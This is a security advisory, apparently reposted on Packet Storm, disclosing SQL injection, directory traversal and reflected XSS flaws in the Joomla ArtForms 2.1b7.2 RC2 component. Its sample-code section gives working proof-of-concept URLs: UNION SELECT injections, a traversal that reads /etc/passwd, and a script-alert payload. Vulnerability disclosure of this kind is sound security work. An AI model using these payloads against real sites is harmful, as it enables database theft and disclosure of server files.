what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla ArtForms 2.1b7.2 RC2 Cross Site Scripting / SQL Injection / Directory Traversal

Joomla ArtForms 2.1b7.2 RC2 Cross Site Scripting / SQL Injection / Directory Traversal
Posted Jul 8, 2010
Authored by Salvatore Fresta

The Joomla ArtForms component version 2.1b7.2 RC2 suffers from cross site scripting, remote SQL injection and directory traversal vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, file inclusion
SHA-256 | 22ab97531f9b706153567472a552f4a7a1f71c20f48b853907cc14101e773a99

Joomla ArtForms 2.1b7.2 RC2 Cross Site Scripting / SQL Injection / Directory Traversal

Change Mirror Download
ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

Name ArtForms
Vendor http://joomlacode.org/gf/project/jartforms/
Versions Affected 2.1b7.2 RC2

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-07-07

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX


I. ABOUT THE APPLICATION
________________________

ArtForms is a popular Joomla component.
The ArtForms component is a package for an easy From
Generator for Joomla 1.0.xx. It allows you to generate
as much Forms as you like, you can define all fields
that you need and also make file upload and attachment
possible.


II. DESCRIPTION
_______________

Some parameters are not sanitised before being used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version 2.1b7.2 RC2.
Other versions may also be affected.


III. ANALYSIS
_____________

Summary:

A) Multiple SQL Injection
B) Directory Traversal
C) Reflected XSS


A) Multiple SQL Injection
_________________________

The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


B) Directory Traversal
______________________

The l parameter in alikon/captcha.php is not properly
sanitised before being used to create a path for a file
that will be downloaded.This can be exploited to download
arbitrary files from local resources via directory
traversal attacks.


C) Reflected XSS
________________

The afmsg parameter is not properly sanitised before
being printed.This allows the execution of arbitrary HTML
code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23


B) Directory Traversal

http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00


C) Reflected XSS

index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>


V. FIX
______

No fix.

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close